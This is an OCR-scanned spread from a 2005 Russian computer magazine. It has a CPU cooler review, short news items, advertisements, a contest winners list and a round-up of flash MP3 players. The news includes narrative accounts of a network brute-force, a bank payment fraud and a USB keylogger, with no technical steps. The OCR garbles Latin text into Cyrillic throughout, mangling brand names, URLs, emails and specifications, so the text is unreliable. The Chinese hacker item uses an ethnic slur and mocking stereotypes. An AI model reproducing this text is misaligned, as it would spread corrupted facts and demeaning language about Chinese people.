фотографию кулера, можно отчетли- 
во разглядеть мощный металлический 
радиатор весом более 600 г, пластины которого имеют весьма 
воинственную форму, а также 12 трубок, по которым распрост- 
раняется тепло. Если же изучить этот кулер повнимательнее, то 
окажется, что трубок только 6, просто они изогнуты и выведены 
на противоположные концы радиатора, чего не видно на фотог- 
рафии, размещенной на сайте фирмы. Что касается остальных 
параметров и фишек, то здесь стоит выделить следующее: 

Возможность сменить крепление, чтобы установить кулер на любой из 

популярных процессорных разъемов 

На 5оске1478 установить — как два байта переслать 

Поверхность, прилегающая к кристаллу, тщательно отполирована с ис- 
пользованием современных технологий для улучшения теплопроводности 

6 теплопроводных трубок 

Размеры: 110x110x150 мм 

Цена: $50 



Устройство комплектуется также кронштейном для крепления 120- 
миллиметрового вентилятора, однако в поставке этого кулера про- 
пеллера нет! Совершенно понятно, что без вентилятора использо- 
вать эту систему для современных высокочастотных процессоров 
невозможно, что и отмечается в документации к кулеру. Произво- 
дитель рекомендует использовать дополнительный вентилятор, ко- 
торый легко можно закрепить прилагаемым в комплекте монтаж- 
ным приспособлением. Однако его необходимо прежде купить за 
отдельные деньги, и это минус. Хотя с другой стороны — плюс, пос- 
кольку, если уж пользователь решил установить на компьютере ка- 
чественную систему охлаждения, нелишним будет подобрать ка- 
чественный вентилятор отдельно на свой вкус. И если грамотно им 
л управлять, то большую часть времени он будет бездействовать, 
о Также следует отметить параллельное материнской плате рас- 
К положение пластин радиатора. Такой подход на 100% совмес- 
2 тим с концепцией нового стандарта ВТХ, и будет особенно эф- 
55 фективен в корпусах этого форм-фактора с правильно организо- 
< ванной циркуляцией воздуха, тепловой трубой, когда мощный 
^ поток воздуха движется параллельно материнской плате. 




ЮЗАЕШЬ ОКАСІ.Е? 
ДОБРО ПОЖАЛО- 
ВАТЬ В КОСМОС, 
СЫНОК! 

Если у тебя душа 
рвется в космос и ты 
с детства мечтаешь 
дотронуться до звезд, 
но в космонавты тебя 
не взяли, а в кармане 
нет 20 миллионов 
долларов на увесе- 
лительную прогулку, 
у тебя все еще есть 
шанс. Все, что тебе 
нужно — это быть 
разработчиком ПО, 
жить в России и юзать 
по работе продук- 
цию Огасіе. Именно 
для таких людей компания Огасіе на пару со ЗрасеАсІѵепГигез 
решила провести лотерею с главным призом — полетом в космос 
и 35 тысячами долларов наличными (его вручат в середине июля 
2005 года). Помимо этого, разыгрываются и другие денежные при- 
зы, а также ноутбуки Арріе Ро\л/егВоок С4 с 17-дюймовым диспле- 
ем, МРЗ-плееры Арріе ІРосІ 20СВ и ЭѴЭ с трилогией «Звездные 
войны». Такая халява случается не каждый день, поэтому, если ты 
относишь себя к поклонникам Огасіе, тебе прямая дорога на 
страничку Іі1ір://огасІе.ргото1'іопехрегі. сот/5расѳЗ\л/ѳѳрзіакѳз/ 
ги/іпсІѳх.]зр?Згс=3559501&Асі=405. Заполни форму — и вперед, 
к звездам! 




КИТАЙСКИЕ 
ХАКЕРЫ ОБЪЯВИЛИ 
ЯПОНИИ ВОЙНУ 

«Это все подлые китайцы!» — вынесли вердикт японские чинов- 
ники. А все началось с того, что 13 апреля в 21:00 неизвестные 
хакеры вывели из строя сайт Главного полицейского управле- 
ния Японии. «Гребаные китайцы!» — выругался начальник уп- 
равления. Но это было еще не все. В ту же ночь хакеры атако- 
вали сайты Управления национальной обороны страны, что 
даже для китайцов было уж слишком. «Точно вам говорю, без 
китайцев не обошлось! — заверил журналистов представи- 
тель японского военного ведомства. — Мало того, что их почти 
пять миллиардов, так они еще и распространяют по интернету 
призывы к своим же китайцам атаковать нас, робкое безза- 
щитное японское ведомство». Вообще, китайцы уже давненько 
не балуют японцев дружелюбием. В Пекине и нескольких дру- 
гих крупных городах проводи- 
лись антияпонские демон- 
страции, сжигали японские 
флаги, забрасывали японс- 
кие консульства гнилыми по- 
мидорами и протухшими 
огурцами. А в Шанхае даже 
отдубасили двух японских 
студентов. Не знаю, чего там 
не поделили братья наши 
меньшие, но японцы ни на се- 
кунду не сомневаются, что 
взлом совершили китаезы. А 
поскольку в Японии своих ха- 
керов хватает (каждый вто- 
рой хакер, да), то я уверен, контратака — дело времени. Атам 
и до всемирной кибервойны рукой подать. 







НЫЕѴѴЗЖ 



НАР0ЫЕѴѴ5 ▼ 



ЭЛЕКТРОМОНТЕРУ 
ВПАЯЛИ 400 РУБЛЕЙ 

400 рублей — именно такую сумму 
пришлось заплатить Лене Горбунову, 
примерному электромонтеру молочно- 
го комбината «Нижнегородский». И не 
за что нибудь, дорогие товарищи, а за 
хакерство! Вообще, все было довольно 
банально. Электромонтер дорвался до 
инета и слил где-то программу для пе- 
ребора паролей. «Оце так цяця!» — по- 
думал Леня и решил испробовать ее в 
деле. А так как молочный комбинат у них 
был не самый отсталый, то и компьютер- 
ная сеть в нем имелась. Натравил Лен- 
чик свой брутфорсер на эту сеть, да и 
поимел инфу про всех сотрудников. Адреса, телефоны, 
должности, зарплаты. Все это добро он разместил на сайте, 
который назвал «Виртуальный профсоюз». Но админы комби- 
ната не дремали — сайт монтера попалили, начальнику со- 
общили, а дальше за дело взялась милиция. Как утверждают 
следователи, Леня нарушил 23 статью Конституции РФ, где 
сказано, что все имеют право на частную жизнь. И стало 
быть, заслуживает административного наказания. Дело об- 
сасывалось месяцами, была задействована куча свидете- 
лей, и в итоге, зловеще стукнув молоточком об стол, судья вы- 
нес роковой приговор: «400 рублей в кассу — и свободен!». 
Вот такие ужасы творятся в Нижнем Новгороде. А вы говорите, 
нет хакеров на Руси. Кстати, как оказалось, финансовый ди- 
ректор комбината получает 700 тысяч рублей, исполнитель- 
ный директор — 500 тысяч, а директор производства — 400 
тысяч рублей. «Нечисто тут!» — подумала налоговая. Но это 
уже совсем другая история. 



ПОБЕДИТЕЛИ 

БЕРЕЫБЕВ 

ЭеГепсіег завершил свой кон- 
курс и подводит его итоги. Вот 
список победителей конкурса: 

Іапа (зіІѵег$Гііпе@гпаіІ.ги) получает акустику ЭеГепсІег Мегсигу 
30А. НетДрайв (зиррогШпеГсігіѵе.ги) достается клавиатура 
ЭеГепсІег Воотегапд. А эти участники получают мышки от 
ЭеГепсІег: 

Константин Купленков (казГкезГѲтаіІ.ги) 

Илья Переверзев (Гіс_из@гатЫег.ги) 
гриша бунаков (ЬугдепЭЬк.ш) 

ГіеІеп46@уапсІех.ги 
хХх (Р.В.ІѲЬк.ги) 

Эіт (сІ1т@!ізГ.ги) 

Оксана (окзапа_то@таіІ.ги) 

Дмитрий (сІт_сІпГ@(топГ.ги) 
аіек Ьагапоѵ (аІек32@таіІ.ги) 

Неаѵу (Гіеаѵу_т2004@таіІ.ги) 

Колян Коляныч (асІтіп_ппопах@ІізГ.ги) 

уагсНѲуапсІех.ги 

сІап88 (сІап88@гатЫег.ги) 

сІоісіѲросІтІ'а.ги 

ЭгпіГгіу БІоЬосІіп (о 22 у@таіІ.иІп,ги) 

х-ЬепсІег@уапсІех.ги 

ріскроскеГ@росГіГа,ги 

ОІед Оеігуапоѵ (зирегзІоп@таіІ.ги) 

Если ты увидел здесь себя, то отпиши на сІеГепсІег@геаІ. хакер. ги, 
чтобы получить приз. 







Зеа-йоо 30 - первый трансформируемый водный мотоцикл. Он способен 
принимать пять положений: КАВТ, МОТО, ѴЕВТ, ЗНОО И МЕЕ. 
Каждый вариант принципиально отличается от других поведением на 
воде и способом управления. 

Настройся на волну своего настроения! 




Алматы: "Евразия СГ (3272) 749830; Архангельск: "БАРС" (8182) 642131, "ЛЕО" (8182) 657947; Барнаул: "КАНТРИ-МОТОРС" (3852) 336428; Владивосток: "АВА -Трейд" (4232) 300139; Волгоград: "Н20" (8442) 944089, Выборг: "Аквамарин" (813-78) 
9-36-97; Геленджик: "Спорт-Вояж" (918) 4393743;Екатеринбург: "ОКАМИ-СПОРТ" (343) 2240114, "Свердловские моторы" (3432) 790801, 'Торговый Дом Спорт" (3432) 623970, "Компания "Беркут" (3432) 626407; Иваново: "РИАТ-АВТО" (0932) 
307848; Ижевск: "Олимп-групп" (3412) 511109; Иркутск: "Иркут БКТ" (3952) 386980; Казань: "ЭлитМоторсГрупп" (8432) 182-444; Калининград: "БАЛТМОТОРС ГРУПП" (0112) 538334; Салон моторной техники "Юпитер" (0112) 210501; Кемерово: 
ООО "Компания Винтертур" (3842) 360025; Киров: "Техномир" (8332) 568189; Кострома: "ПРАВЫЙ БЕРЕГ" (0942) 626626; Краснодар: "Адмирал Юга" (8612) 727390; Красноярск: "КРАБ ПКФ" (3912) 449148; Магадан: "ДВС-ТУР" (4132) 221095; 
Магнитогорск: "Экстрим-Клуб, Магнитогорск" (3519) 205179; Минск: "Сканлинк" +3 (7517) 2162021; Москва: "АВТОКОНЦЕПГ (095) 3636363, "АТЛАНТ СИТИ" (095) 7514402, "ПЯТЫЙ СЕЗОН" (095) 2528931, "НАХИМОВСКИЙ, 32" (095) 1294594, 
группа компаний "ЭКСАЙТ" (095) 261 9577,' “СПОРТ-ЭЛИТ" (095) 4854663; Мурманск: "Торговая компания "МКТИ" (8152) 232701; Набережные Челны: "СТМ" (8552) 426602; Нижний Новгород: "ХЕЛПЕР СПОРТ" (8312) 362490; Новокузнецк: 
Мотосалон "Кантри-Спорт" (3843) 424040; Новосибирск: "МОТОСПОРТ" (3832) 433788, "Охота, рыбалка, туризм" (3832) 117403; Новый Уренгой: "ВАСИВ" (3494) 942773; Омск: "Западно-Сибирский Альянс" (3812) 65-82-90; Оренбург: "Регона" 
(3532) 940888; Пермь: ’ТехноСпорт" (3422) 650780, "ДИЛОС" (3422) 980-908; Петрозаводск: "ОЛЬХА" (8142) 702319; Петропавловск-Камчатский: "КАМТЕКС-2" (4152) 123517; Псков: "Настоящий Авто-Сервис" (8112) 725011; Ростов-на-Дону: "Л- 
Моторс" (8632) 446848; Рязань: ОООТИМА" (0912) 455881 ; Самара: "СПОРТ+ОТДЫХ" (8462) 703875; Санкт-Петербург: "Торговый Дом "РОСАН Санкт-Петербург" (81 2) 1 024040; "ВКР-Центр ѴІ.А50Ѵ" (81 2) 1 1 56165; "МОТО-ЭКСТРИМ" (812) 4494055, 
"ТехноСпортЦентр" (812) 3226999; Саратов: "Трансэнергокомплект" (8452) 726293, "ФОРА-С"(8452) 43491 5; Северодвинск: "ЛЕО" (81 84) 52101 6; Сочи: "Ультрамарин" (8622) 451115; Сургут: "РиК МАРКЕТ" (3462) 555252; Тольятти: ДИАНА-СПОРТ" 
(8482) 481 733; Томск: "Мега-Моторс" (3822) 402240; Тюмень: "Сервис Центр ВМА" (3452) 475888; Уфа: "Болгар Центр" (3472) 316363, "Булгар Моторе" (3472) 319000; Челябинск: Салон "БОМБАРДИР" (3512) 372983, "Техноспорт" (3512) 754393, 
"Экстрим-Клуб" (3512) 31-50-31; Череповец: Магазин "Оружие" (8202) 519099, Магазин "Рыболов" (8202) 505668; Ярославль: Магазин "МАРКО" (0852) 458430 
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5 НЕУДАВШАЯСЯ 
° ШУТКА ЗАПОРОЖС- 
І КОГО ХАКЕРА 

Стас был грамот- 
ным компьютерщи- 
ком. Читал грамот- 
ные книги, штуди- 
ровал грамотные 
сайты. И вскоре 
после того, как па- 
рень устроился в 
программерский 
отдел одного из 
крупнейших запо- 
рожских банков, 
его способности 

заметили. Он стал начальником. Длилось счастье недолго — по- 
том пришло новое руководство, и Стасика с почетной должнос- 
ти попросили. Временно, мол. А вместо этого ему пришлось за- 
ниматься чем-то совершенно далеким от компьютеров и нестер- 
пимо скучным. Возвращать былую работу ему, как оказалось, 
никто и не собирался, и в конце концов Стас подал заявление 
об уходе. Уволившись, он продолжал считать, что с ним поступи- 
ли несправедливо, а чтобы доказать, что он действительно в сво- 
ем деле лучший, решил провернуть небольшое показательное 
выступление. В том банке, как и во многих других, для компьютер- 
ного перевода денег использовали систему «клиент — банк». 
Стасик ее еще при своей бывшей должности хорошенько изу- 
чил, считая безбожно дырявой. «Если эти балбесы осознают, 
насколько уязвима система, и если я принесу им программу за- 
щиты, они наверняка примут меня обратно», — подумал хакер. И 
воспользовавшись известными ему паролями, внес в системе 
небольшие изменения. Но к его удивлению, вторжения сотрудни- 
ки банка не заметили и продолжали себе работать. «Ладно, — 
вздохнул парень, — сейчас-то уж точно зашевелитесь». На этот 
раз Стас проник в систему банка и изнутри подделал платежку, 
по которой со счета таможни снимались 5 миллионов гривень 
(около миллиона баксов) и переводились на счет какой-то 
обанкротившейся фирмы в Днепропетровске. Чтобы перевод не 
прошел и сотрудники наверняка заметили уязвимость системы, 
он специально допустил несколько ошибок в платежном пору- 
чении. Однако сотрудники банка и на этот раз ухом не повели — 
деньги были переведены в тот же день. Тут уж Стасик понял, что 
влип не по-детски. Ведь в систему он входил с ноутбука через 
мобильный, и вычислить его было делом техники, а за кражу та- 
ких сумм карают чуть ли не расстрелом. После того как сотруд- 
ники банка не получили подтверждение от таможни о переводе, 
счет был заморожен, а Стасик, как и предполагалось, принят в 
объятия доблестной милиции. Но поскольку деньги были возвра- 
щены владельцу, а банк не потерпел больших убытков, претен- 
зии были сняты и хакер отпущен на свободу. Вот такая вот детек- 
тивная история случилась в славном городе Запорожье. 




КАК ДЕШЕВО 
ОГРАБИТЬ БАНК? 

Как ограбить банк без пистолетов и супернавыков? Наверное, 
так, как смышленые парни из Лондона, которые едва не увели у 
одного из британских банков кучу миллионов долларов. Они ку- 
пили в магазинчике простенький ІІЗВ-приборчик, действующий по 
принципу кейлоггера, и незаметно приконнектили его к банковс- 
л ким компьютерам. Если бы не случайное обнаружение, банк мог 
о потерять немало денег. Сейчас по делу ведется следствие, и, 
Р; поскольку сообщение о новом виде шпионажа появилось в 
3 прессе, многие банки начинают изымать беспроводные клавиа- 
туры и устанавливают на свои компьютеры дополнительные при- 
< бамбасы, позволяющие засечь незаконное подключение. Только 
^ теперь не через сеть, а непосредственно к портам компьютера. 



ЯЗЫКОМ 
К МОНИТОРУ 




На конференции СНІ 2005 Дэн Майнез- 
Аминзаде ( ѵ/ѵѵѵѵ.топгу.огд/еиі) предста- 
вил первый прототип съедобного пользо- 
вательского интерфейса. ВеапСоипТег — 
вкусовой дисплей примитивного разреше- 
ния, составленный из шести пробирок с 
разноцветными жевательными конфетами. 
Основание каждой пробирки закрыто 
электронным клапаном. Открывая клапа- 
ны, компьютер смешивает конфеты в различной пропорции. На 
данном этапе каждая пробирка дисплея ВеапСоипТег сопостав- 
лена различным системным процессам таким образом, чтобы 
пользователь мог контролировать использование оперативной 
памяти. Каждый системный вызов сопровождается открытием 
клапана, и конфеты падают в миски. Количество конфет соответ- 
ствует объему выделяемой памяти. Другая, более совершенная 
система ТазТеЗсгееп состоит из ЮР-монитора с закрепленным 
наверху ЕІЗВ-устройством. Оно содержит 20 крошечных пластико- 
вых картриджей с различными пищевыми агентами. Капли вкусов 
смешиваются в специальной камере, после чего растекаются 
по монитору, покрывая его тонкой липкой пленкой. Лизнув мони- 
тор, можно различить вкус. 



ГОНКИ ДРОИДОВ 

В американском Ин- 
дианаполисе сос- 
тоялись гонки дрои- 
дов Г?2. В захватыва- 
ющем состязании 
РгоісІуагсІ 500 приня- 
ла участие добрая 
дюжина дроидов. 
Они соревновались 
по двое на дистан- 
ции 30 метров. По 
условиям гонки, нуж- 
но было достичь фи- 
нишной черты и вер- 
нуться на старт. За четыре дня соревнований несколько раз приш- 
лось вмешаться пожарным. Конструкция 90-килограммового 199-192 
из алюминия обошлась его владельцу в 15 000 долларов и отняла 
три года. Однако в последнем заезде ее обошел 192-02 из пенопо- 
листирола, пластика и резины с двигателем 24 В. Его строительство 
стоило «всего» 6 000 долларов. Конструкторам со стажем удалось 
уложиться в 200 баксов. 




ГОВОРЯЩИЕ Р08Т-ІТ 

Шведская компания УЬедо АВ представила новое поколение 
напоминалок РозТ-ІТ. Ѵоізе Таікіпд Кіоіез (ѵо/зес.зе) представляют 
собой разноцветные пластиковые кнопки диаметром около 4 
см. Их можно закрепить в любом месте на специальной базе, на 
липучках или на магните. Что- 
бы воспроизвести запись, дос- 
таточно нажать на кнопку. Что- 
бы оставить голосовое напо- 
минание, нужно снять крышку 
и особым образом состыко- 
вать две части. На каждую 
кнопку можно записать до 70 
секунд кристально чистого 
звука. Две батареи по 1,5 В 
обеспечивают 800 циклов пе- 
резаписи. Новинка поступила 

в продажу в Европе по цене около 40 долларов за штуку. 






НАІЮЫЕѴѴЗ ▼ 



СТРОИТЕЛЬСТВО ЗАВОДА І.С В РОССИИ 



Хорошо известная на российском (и не только) рынке компания І_Ѳ 
недавно совершила еще один шаг по направлению к отечествен- 
ным пользователям. 20 апреля в подмосковной Рузе был заложен 
первый камень нового завода компании. Уже через год на площа- 
ди в 50 га развернется одно из крупнейших в России предприятие 
по производству бытовой электроники, телевизоров и аудиотехни- 



ки. В числе важнейшей продукции — ЖК-телевизоры, плазменные 
панели и плоские кинескопы, знакомые всем, кто хоть немного сле- 
дит за рынком мониторов и телевизоров. Планируемые объемы вы- 
пуска продукции — до 4 миллионов единиц в год. Более трех тысяч 
работников будут ежедневно трудиться для того, чтобы мы могли по- 
купать оборудование от І_Ѳ, изготовленное в нашей стране. 




СВОЙ ФОТОЦЕНТР 
ОТ ЕРЗОЫ 




На рынке появился новый крутой фотоцентр Ерзоп Зіуіиз Рітоіо 
РХ700, который предназначен для любителей и даже професси- 
ональных фотографов. Устройство представляет собой целый 
набор оборудования для работы как с цифровыми, так и анало- 
говыми фотографиями. Основная фишка тут заключается в том, 
что теперь можно сканировать, печатать и копировать изображе- 
ния без использования компьютера. Вообще, эта девайсина по- 
зиционируется как устройство Іяі-епсІ класса: так, например, у 
струйного принтера минимальный размер капли составляет 1,5 
пиколитра, а встроенный сканер работает с разрешением 3200 
брі. Новинка оборудована ЖК-экраном Ріпоіо Еіпе размером 6,25 
см по диагонали и разрешением 512x384 ррі. 

Помимо всего прочего, в Зіуіиз РПоІо 12X700 интегрирован СОР- 
сканер со слайд-модулем, с помощью которого можно распе- 
чатывать фотографии напрямую с пленок и слайдов, при этом 
оцифрованные материалы можно корректировать и записывать 
на карты памяти, даже не включая компьютер. 




ПОЙМАЙ, ЕСЛИ СМОЖЕШЬ! 



Разыгрываются 5 цветных лазерных принтеров! 



Сотни призов каждый месяц - 5 шансов на выигрыш 
Смотрите условия на специальных упаковках с эмблемой акции 

В каждой упаковке Оідіііех с эмблемой 
ищите шанс выиграть один из тысячи 
фантастических призов - включая 
великолепный настольный цветной 
принтер ОКІ С3100 - каждый месяц! 

Чтобы стать претендентом, просто 
присоединяйтесь к нашему розыгрышу. 

Это элементарно! Помните - чем раньше 
начнёте, тем больше шансов на выигрыш. 

А играть Вы можете сколько угодно! 

С апреля по август 2005, мы дарим Вам 
ЗоНі'п'Зіігопд 1Э5В Оідіііех, МРЗ плееры, 
коврики для мыши и ещё много, много 
всего в наших захватывающих 
ежемесячных розыгрышах. 



Присоединяйтесь! Найдите одну из 
упаковок Оідіііех с эмблемой - 
и Вы можете стать 




от визиток до баннеров 
длиной 1,2 метра! 



СМОТРИТЕ ПОДРОБНОСТИ АКЦИИ НА ѴѴѴѴѴѴ.ОІСІТЕХ.КЦ 
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РЬАЗН-ПЛЕЕРЫ 



I ПРОЧНО ВОШЛИ В 
НАШ ОБИХОД И УЖЕ 



НЕ ЯВЛЯЮТСЯ ЧЕМ- 
ТО ЭКСКЛЮЗИВНЫМ, 
ТАК КАК ПАМЯТЬ, 
ПРИМЕНЯЕМАЯ В ТА- 
КИХ ДЕВАЙСАХ, РЕЗ- 
КО ПОДЕШЕВЕЛА. В 
ЭТОЙ СТАТЬЕ МЫ 
РАССМОТРИМ НЕС- 
КОЛЬКО ТАКИХ 
ПЛЕЕРОВ. 





РЕДАКЦИЯ ВЫРАЖАЕТ БЛАГОДАРНОСТЬ ЗА ПРЕДОСТАВЛЕННОЕ НА ТЕСТИРОВАНИЕ ОБОРУДОВАНИЕ КОМПАНИЯМ БЮРОКРАТ (Т.(095)745-5511, мт.Ьиго.ги), РАТНІАПСН (Т.(095)216-7201, шшѵ.тетогу.ги), ІІЗЫ СОМ 
(Т. 775-8202, ѵѵѵѵм.изп.ги), ИНТЕРНЕТ-МАГАЗИНУ 21 ѴЕК (Т.(095)924-7624, ѵтм.21ѵек.ги), ІЯН МОЗСОѴѴ (Т.(095)974-9608, ѴѴѴѴѴѴ.ІНІѴЕППЦЗЗІА.СОМ), А ТАКЖЕ РОССИЙСКИМ ПРЕДСТАВИТЕЛЬСТВАМ СНЕАТІѴЕ И ЗАМЗШС 





I Затзипд УР-Т6 I ІРІѴЕВ N10 I (ЭІЛСКЗТЕР І.Т-13001 
ІВІѴЕВ ІРР-895 I ЗОВЕЦ- ЗР2000 I М11ВО МВ-100 I 
ІВІѴЕВ ІРР-790 I МЕХХ МР-450 I СВЕАТІѴЕ МиѴо N200 1 
СВЕАТІѴЕ МиѴо Ѵ200 I СОѴѴСМ ІАІЮІО СѴѴ300 I СОѴѴОМ 
ІАІЮІ04 I МРІОРЬЗбО I 

ТЕСТИРОВАНИЕ [методика тестирования] Первый и самый главный тест — на качество звучания. Сначала использовались 
-ПЛЕЕРОВ наушники входящие в комплект поставки — прослушивался ряд композиций, изобилующих различными 

инструментами и по тому, насколько четко и громко они звучат оценивалось качество звука. Потом подк- 
лючались полупрофессиональные мониторные наушники, и плеер опять проходил такие же испытания. 
Помимо этого, оценивались такие параметры, как эргономичность, удобство меню, количество функций, 
информативность и качество дисплея. 




ІПІѴЕК ІРР-790 

Воспроизводит форматы: МРЗ, ѴѴМА, АЗР, ООО 
Встроенное РМ-радио: есть 
Соединение с компьютером: ЦЗВ 2.0 
Время работы, ч: 36 
Возможный объем памяти, Мб: 256 
Расширение с помощью флеш-карт: нет 



Очередной девайс от компании ІГ?ІѴЕГ? имеет 
форму призмы со сглаженными углами и вогну- 
тыми ребрами. Плеер отличается весьма каче- 
ственным и громким звучанием, но басов все же 
недостает, хотя покупка более продвинутых на- 
ушников, чем те, которые входят в комплект, час- 
тично снимает эту проблемы. Очень порадова- 
ло обилие разнообразных функций, в частности 
возможна настройка параметров отображения 
информации о проигрываемом треке. Управле- 
ние осуществляется при помощи джойстика и 
трех кнопок, что оказывается вполне достаточ- 
ным. Запитывается устройство от стандартной 
батарейки типа АА, причем в комплект не входит 
аккумулятор с зарядным устройством — имеет- 
ся только один алкалиновый элемент питания. 
Для записи звука извне предусмотрен линейный 
вход и весьма чувствительный микрофон, встро- 
енный в корпус. Имеется специальный ремешок 
для ношения плеера на предплечье. 115В загора- 
живается специальной пылезащитной крышкой. 
Огорчил тот факт, что для перекачки файлов не- 
обходимо программное обеспечение. 

} } } } $325 



СОѴѴОЫ ІАІЮІО СѴѴ300 

Воспроизводимые форматы: МРЗ 
Встроенное РМ-радио: есть 
Соединение с компьютером: ЫЗВ 1.1 
Время работы, ч: 30 

Возможный объем памяти, Мб: 128, 256, 512 
Расширение с помощью фяеш-карт: нет 



Девайс отличается относительно большими 
размерами по сравнению с конкурентами. 
Корпус частично выполнен из шероховатого 
металла, на котором плохо видны царапины. 
Качество звука оказалось высоким по всем па- 
раметрам: глубокие басы, хорошо слышны вы- 
сокие частоты, большая максимальная гром- 
кость дает возможность использовать мощные 
наушники полупрофессионального класса. 
Дисплей очень информативный, причем име- 
ются даже встроенные часы. Немного рас- 
строила тусклая подсветка. Управлять воспро- 
изведением можно только с помощью двух 
джог-дайалов, так что они получились слегка 
перегруженными функциями. Для перекачива- 
ния файлов в память девайса требуется специ- 
альное ПО. СОѴѴОМ ІАІЮІО СѴѴ300 — един- 
ственный плеер в обзоре, снабженный пультом 
ДУ — на нем имеются все основные элементы 
управления, но ЖК-экрана все же нет. Не хва- 
тает чехла для крепления на пояс или предп- 
лечье — имеется только ремешок и мешочек из 
ткани, но внутри он почему-то грубоват. 

} } } $77 | $110 | $175 



СВЕАТІѴЕ МиѴо N200 

Воспроизводимые форматы: МРЗ, ѴѴМА 
Встроенное РМ-радио: есть 
Соединение с компьютером: ІІЗВ 2.0 
Время работы, ч: 12 

Возможный объем памяти, Мб: 128, 256, 512, 1024 
Расширение с помощью флеш-карт: нет 



СРЕАТІѴЕ МиѴо N200 имеет весьма компактные 
размеры, что не может не радовать, но в то же 
время экран тоже небольшой, к тому же на нем 
отображается мало информации, в частности 
надо лезть в меню, чтобы понять, какие наст- 
ройки звука задействованы в данный момент. 
Отсутствует отдельная кнопка переключения 
режимов эквалайзера, что не характерно для 
устройств этого класса. Качество звука оказа- 
лось высоким, но имеет место странный эф- 
фект: при включенной подсветке экрана науш- 
ники издают отчетливый писк. Когда она со 
временем гаснет, писк пропадает. Огорчило 
отсутствие переключателя «НоІсІ», так что пре- 
дотвратить случайные нажатия не удастся. Ра- 
ботает девайс от батареек ААА, причем акку- 
мулятора и зарядного устройства в комплекте 
нет. В наличии ремень для ношения плеера на 
предплечье и силиконовый чехол, но послед- 
ний выглядит непрочным. Разъем Упе-іп имеет 
слот-фактор чуть меньший, чем обычный Міпі- 
5аск. ІІЗВ-порт закрывается пылезащитной 
крышкой. 

} } } } } $88 | $105 | $145 | $187 
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МЕХХ №-450 

Воспроизводимые форматы: МРЗ, ѴѴМА, А8Р 
Встроенное РМ -радио: есть 
Соединение с компьютером: 118В 1.1 
Время работы, ч: 15 

Возможный объем памяти, Мб: 128, 256, 512, 1024 
Расширение с помощью флеш-карт: ЗП/ММС 

Устройство, помимо встроенной памяти, 
обладает еще и слотом для ЗЭ/ММС-карт, 
что позволяет увеличивать объем его памя- 
ти до трех гигабайт (в случае модели с 
внутренней памятью в 1 Гб и картой 2 Гб). 
Правда, огорчил тот факт, что пылезащит- 
ная крышка слота никак не прикреплена к 
корпусу и легко может потеряться. Причем 
плеер воспринимается компьютером 
сразу как два выносных диска (никаких 



дополнительных программ для перекачки 
файлов не требуется). Что касается звука, 
то тут никаких претензий нет, но громкость 
все же чуть ниже, чем у конкурентов (при 
подключении наушников с высоким соп- 
ротивлением ее будет явно недостаточно, 
но для стандартных ее вполне хватит). Эк- 
ран небольшого размера, но его инфор- 
мативность нареканий не вызывает. Управ- 
ление удобное — имеются четыре кнопки 
и джойстик, причем последний хорошо 
сидит в руке и переключается мягко. В 
комплекте есть ремень для ношения пле- 
ера на предплечье. Для записи со внеш- 
них устройств предусмотрен микрофон и 
линейный вход. 




ІПІѴЕВ N10 

Воспроизводимые форматы: МРЗ, ѴѴМА, А6Р 
Встроенное РМ-радио: нет 
Соединение с компьютером: 118В 1.1 
Время работы, ч: 1 1 

Возможный объем памяти, МЬ: 128, 256, 512, 1024 
Расширение с помощью флеш-карт: нет 

Один из самых стильных плееров в обзоре — 
его дизайн вне конкуренции. Возможен чер- 
ный и белый вариант расцветки корпуса. 
Дисплей имеет зеленоватую подсветку, а 
стекло, защищающее его от повреждений, 
имеет слегка отражающее покрытие, так что 
в условиях яркого освещения читать отобра- 
жаемую информацию трудновато. Управле- 
ние удобное и интуитивно понятное, но огор- 
чает отсутствие переключателя «НоІсІ». 
Также расстроило отсутствие радио — весь- 



ма неприятный момент для устройства по- 
добного класса, в то же время встроенным 
диктофоном девайс обделен не был. У ІРІѴЕР 
N10 наушники также совмещены с ремеш- 
ком, причем последний крепится к съемной 
части корпуса, которая при ее удалении об- 
нажает ІІЗВ-разъем. Если входящие в комп- 
лект наушники испортятся, то возможна уста- 
новка дополнительного модуля, имеющего 
обычный тіпуаск — разъем и кольцо для 
крепления ремешка. Для перекачивания 
файлов на плеер необходимо установить 
программу ігіѵег Мизіс Мападег. Запитывает- 
ся девайс от встроенного Шоп аккумулято- 
ра, заряжающегося через ІІЗВ-порт. Воз- 
можно добавление новых функций путем 
скачивания свежих прошивок, выкладывае- 
мых на официальном сайте ІРІѴЕР. 




ІКІѴЕН ІРР-895 

Воспроизводимые форматы: МРЗ, ѴѴМА, АЗР, ОЗѲ 

Встроенное РМ-радио: есть 

Соединение с компьютером: 118В 2.0 

Время работы, ч: 40 

Возможный объем памяти, Мб: 512 

Расширение с помощью флеш-карт: нет 

Очередной плеер, показавший весьма вы- 
сокий результат в плане качества звука: 
глубокие басы, хорошо прослушиваются 
низкие частоты, высокая громкость. Надо 
отметить тот факт, что в комплект с ІРІѴЕР ІРР- 
895 идут наушники известной фирмы 
ЗЕЫЫНЕІЗЕР, в частности благодаря кото- 
рым и был достигнут столь высокий резуль- 
тат. Порадовало удобное для навигации 
меню, но эргономичность джойстика вызы- 



вает некоторые нарекания — чтобы прос- 
то нажать на него, надо приложить некото- 
рое усилие, и если оно будет направлено 
чуть в сторону, то рычажок может случайно 
сместиться. Других проблем с управлени- 
ем возникнуть не должно. ЖК-экран весь- 
ма информативный, но не отображается 
номер трека в папке. Для перекачки фай- 
лов на плеер требуется специальное ПО, 
так что использовать девайс в качестве пе- 
реносного носителя информации будет 
затруднительно. В комплект поставки вхо- 
дит полупрозрачный чехол и специальный 
ремень для ношения на предплечье, что 
будет весьма существенным подспорьем 
для любителей бегать под музыку. Помимо 
всего этого, плеер можно перепрошить. 




СВЕАТІѴЕ МиѴо Ѵ200 

Воспроизводимые форматы: МРЗ, ѴѴМА 
Встроенное РМ-радио: есть 
Соединение с компьютером: ІІЗВ 2.0 
Время работы, ч: 16 

Возможный объем памяти, Мб: 128, 256, 512, 1024 
Расширение с помощью флеш-карт: нет 

Еще один девас от кампании СРЕАТІѴЕ. 
Он имеет сходный дизайн, но размеры 
его все же чуть больше, чем у собрата. 
Есть еще несколько конструктивных отли- 
чий, в частности, две части корпуса, сое- 
диненные стандартным ІІЗВ-портом. Та 
часть, которая снабжена штекером, 
подключается к компьютеру, и ее можно 
использовать как флешку, а другая ис- 



пользуется лишь как отсек для батарей- 
ки. Никаких драйверов для плеера не 
требуется — работа ведется как с внеш- 
ним носителем. Качество звука порадо- 
вало, правда, как и у ранее рассмотрен- 
ной модели, во время включенной подс- 
